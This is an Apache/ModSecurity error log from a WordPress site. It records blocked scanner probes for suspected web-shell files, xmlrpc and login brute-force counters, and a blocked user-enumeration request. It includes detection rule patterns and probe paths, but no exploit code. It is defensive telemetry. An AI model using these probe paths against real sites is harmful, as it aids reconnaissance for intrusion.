[Mon May 04 04:13:01.564728 2026] [:error] [pid 58625:tid 58641] [client 52.165.198.204:5806] [client 52.165.198.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afesTfZfjPGFqq6KSLn00QAAAQ0"]
[Mon May 04 04:13:02.988725 2026] [:error] [pid 57048:tid 57132] [client 52.165.198.204:5768] [client 52.165.198.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afesToZINtpBgqE164I7RwAAAI8"]
[Mon May 04 04:13:06.331122 2026] [:error] [pid 31168:tid 31181] [client 52.165.198.204:5793] [client 52.165.198.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afesUrJUVgN8GV2P4h46sAAAAUs"]
[Mon May 04 05:40:06.476169 2026] [:error] [pid 57154:tid 57181] [client 43.135.139.165:60912] [client 43.135.139.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "affAtv4DAn7umy_ATRzc9AAAANg"]
[Mon May 04 06:14:32.534532 2026] [:error] [pid 57047:tid 57112] [client 43.135.185.59:40002] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "affIyFtCAxKLCAMkLV2cJgAAAFY"]
[Mon May 04 08:10:46.562936 2026] [:error] [pid 12022:tid 12048] [client 119.91.20.139:44046] [client 119.91.20.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "affkBkVhgvCNKBWnaTIkdwAAAJg"]
[Mon May 04 09:51:33.875540 2026] [:error] [pid 33186:tid 33213] [client 20.9.90.138:11657] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aff7pbqlqe0DcmBS9VzrnQAAABg"]
[Mon May 04 09:51:34.630914 2026] [:error] [pid 12051:tid 12055] [client 20.9.90.138:12066] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aff7purVB-w_PyOHK6lc1AAAAUI"]
[Mon May 04 09:51:35.426977 2026] [:error] [pid 33186:tid 33200] [client 20.9.90.138:27010] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aff7p7qlqe0DcmBS9VzrvQAAAAs"]
[Mon May 04 09:51:36.240800 2026] [:error] [pid 33186:tid 33197] [client 20.9.90.138:11690] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aff7qLqlqe0DcmBS9Vzr0AAAAAg"]
[Mon May 04 11:34:45.587955 2026] [:error] [pid 64610:tid 64635] [client 43.131.243.61:60166] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afgT1WhJ7aZW62UOoWgpXAAAARc"]
[Mon May 04 13:09:58.454423 2026] [:error] [pid 64610:tid 64628] [client 45.94.31.15:55266] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afgqJmhJ7aZW62UOoWhTrAAAARA"]
[Mon May 04 13:09:58.944921 2026] [:error] [pid 33186:tid 33191] [client 45.94.31.15:55359] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afgqJrqlqe0DcmBS9Vw1GQAAAAI"]
[Mon May 04 13:09:59.434391 2026] [:error] [pid 33186:tid 33189] [client 45.94.31.15:55489] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afgqJ7qlqe0DcmBS9Vw1GgAAAAA"]
[Mon May 04 13:10:01.837846 2026] [:error] [pid 64610:tid 64614] [client 45.94.31.15:56030] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "afgqKWhJ7aZW62UOoWhTrgAAAQI"]
[Mon May 04 14:44:42.505183 2026] [:error] [pid 53159:tid 53181] [client 124.123.155.78:15370] [client 124.123.155.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.155.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhAWlZg7pq4CfE3tM-cNQAAANI"]
[Mon May 04 14:44:52.399198 2026] [:error] [pid 53160:tid 53209] [client 124.123.155.78:14044] [client 124.123.155.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.155.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhAZKNFKJC8NNHHXb499gAAARM"]
[Mon May 04 14:45:05.249999 2026] [:error] [pid 53161:tid 53236] [client 124.123.155.78:15089] [client 124.123.155.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.155.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhAcU5l1qgo2JEi65l6GwAAAFM"]
[Mon May 04 14:45:35.641273 2026] [:error] [pid 53160:tid 53195] [client 124.123.155.78:13863] [client 124.123.155.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.155.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhAj6NFKJC8NNHHXb4-QQAAAQU"]
[Mon May 04 14:45:57.054061 2026] [:error] [pid 53248:tid 53254] [client 124.123.155.78:14520] [client 124.123.155.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.155.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhApQPqlCce9bsWu6i-mQAAAAQ"]
[Mon May 04 14:58:05.989630 2026] [:error] [pid 53160:tid 53191] [client 124.123.156.121:44524] [client 124.123.156.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.156.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhDfaNFKJC8NNHHXb5B0AAAAQE"]
[Mon May 04 14:58:15.365330 2026] [:error] [pid 53161:tid 53229] [client 124.123.156.121:45283] [client 124.123.156.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.156.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhDh05l1qgo2JEi65l-5QAAAEw"]
[Mon May 04 14:58:25.841197 2026] [:error] [pid 53160:tid 53203] [client 124.123.156.121:44210] [client 124.123.156.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.156.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhDkaNFKJC8NNHHXb5CBAAAAQ0"]
[Mon May 04 14:58:38.129712 2026] [:error] [pid 53159:tid 53181] [client 124.123.156.121:45368] [client 124.123.156.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.156.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhDnlZg7pq4CfE3tM-gKQAAANI"]
[Mon May 04 14:58:47.015390 2026] [:error] [pid 53160:tid 53196] [client 124.123.156.121:44814] [client 124.123.156.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.156.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhDp6NFKJC8NNHHXb5CHwAAAQY"]
[Mon May 04 15:01:38.756706 2026] [:error] [pid 53248:tid 53268] [client 103.25.152.47:51138] [client 103.25.152.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.25.152.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhEUgPqlCce9bsWu6jH4QAAABI"]
[Mon May 04 15:01:49.271028 2026] [:error] [pid 53160:tid 53205] [client 103.25.152.47:51658] [client 103.25.152.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.25.152.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhEXaNFKJC8NNHHXb5DNwAAAQ8"]
[Mon May 04 15:01:59.865773 2026] [:error] [pid 53248:tid 53251] [client 103.25.152.47:52029] [client 103.25.152.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.25.152.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhEZwPqlCce9bsWu6jIHQAAAAE"]
[Mon May 04 15:02:10.391344 2026] [:error] [pid 53161:tid 53229] [client 103.25.152.47:52397] [client 103.25.152.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.25.152.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhEck5l1qgo2JEi65mAXQAAAEw"]
[Mon May 04 15:02:21.263779 2026] [:error] [pid 53161:tid 53240] [client 103.25.152.47:52768] [client 103.25.152.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.25.152.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhEfU5l1qgo2JEi65mAgQAAAFc"]
[Mon May 04 15:26:57.772674 2026] [:error] [pid 3341:tid 3347] [client 39.42.150.93:51166] [client 39.42.150.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.42.150.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhKQU9o3_LordU0wW7bNgAAAIM"]
[Mon May 04 15:27:07.894793 2026] [:error] [pid 3341:tid 3358] [client 39.42.150.93:51513] [client 39.42.150.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.42.150.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhKS09o3_LordU0wW7bfQAAAI4"]
[Mon May 04 15:27:18.452030 2026] [:error] [pid 61150:tid 61170] [client 39.42.150.93:51858] [client 39.42.150.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.42.150.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhKVu8QXWVLiwIGVpcyIQAAAVE"]
[Mon May 04 15:27:29.114585 2026] [:error] [pid 61043:tid 61085] [client 39.42.150.93:52200] [client 39.42.150.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.42.150.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhKYZ8-LwtfURjiAbBkAgAAAEo"]
[Mon May 04 15:27:39.551623 2026] [:error] [pid 61042:tid 61066] [client 39.42.150.93:52539] [client 39.42.150.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.42.150.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhKa0nAPPS1fjubA9QkhgAAANQ"]
[Mon May 04 15:45:07.462152 2026] [:error] [pid 61042:tid 61067] [client 136.107.232.91:51543] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afhOg0nAPPS1fjubA9Qq-QAAANU"]
[Mon May 04 15:45:07.907802 2026] [:error] [pid 61044:tid 61109] [client 136.107.232.91:54219] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afhOg0w8w2zZZXI6H1tmOAAAAAc"]
[Mon May 04 15:45:08.351294 2026] [:error] [pid 61042:tid 61066] [client 136.107.232.91:57418] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afhOhEnAPPS1fjubA9QrCwAAANQ"]
[Mon May 04 16:12:25.986346 2026] [:error] [pid 61150:tid 61158] [client 49.51.50.147:46688] [client 49.51.50.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afhU6e8QXWVLiwIGVpdHDAAAAUU"]
[Mon May 04 16:46:32.775154 2026] [:error] [pid 3341:tid 3350] [client 143.44.197.123:18307] [client 143.44.197.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.44.197.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhc6E9o3_LordU0wW7-UwAAAIY"]
[Mon May 04 16:47:08.746590 2026] [:error] [pid 61150:tid 61160] [client 178.128.165.46:49802] [client 178.128.165.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.165.46, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afhdDO8QXWVLiwIGVpdTZwAAAUc"]
[Mon May 04 16:47:10.450379 2026] [:error] [pid 61150:tid 61162] [client 178.128.165.46:49886] [client 178.128.165.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.165.46, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afhdDu8QXWVLiwIGVpdTbgAAAUk"]
[Mon May 04 16:48:13.228724 2026] [:error] [pid 61043:tid 61089] [client 143.44.197.123:23027] [client 143.44.197.123] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afhdTZ8-LwtfURjiAbCE9gAAAE4"]
[Mon May 04 16:48:31.201820 2026] [:error] [pid 61150:tid 61167] [client 143.44.197.123:24138] [client 143.44.197.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.44.197.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afhdX-8QXWVLiwIGVpdTrQAAAU4"]
[Mon May 04 16:49:58.014980 2026] [:error] [pid 61043:tid 61077] [client 49.51.178.45:42100] [client 49.51.178.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afhdtp8-LwtfURjiAbCF-QAAAEI"]
[Mon May 04 18:00:53.220560 2026] [autoindex:error] [pid 61044:tid 61109] [client 173.239.224.142:35133] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon May 04 18:00:55.916449 2026] [autoindex:error] [pid 3341:tid 3361] [client 173.239.224.122:26875] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon May 04 18:01:29.662575 2026] [autoindex:error] [pid 32471:tid 32486] [client 173.239.224.142:45407] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2020/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon May 04 18:01:30.992530 2026] [autoindex:error] [pid 61150:tid 61167] [client 173.239.224.137:24863] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon May 04 18:01:32.453823 2026] [autoindex:error] [pid 3341:tid 3353] [client 173.239.224.141:32779] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2022/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon May 04 18:01:33.828107 2026] [autoindex:error] [pid 61150:tid 61171] [client 173.239.224.132:64395] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon May 04 18:01:35.186139 2026] [autoindex:error] [pid 61150:tid 61154] [client 173.239.224.131:33681] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon May 04 18:01:36.675267 2026] [autoindex:error] [pid 61042:tid 61070] [client 173.239.224.137:51521] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon May 04 18:01:38.082049 2026] [autoindex:error] [pid 61043:tid 61091] [client 173.239.224.136:39431] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
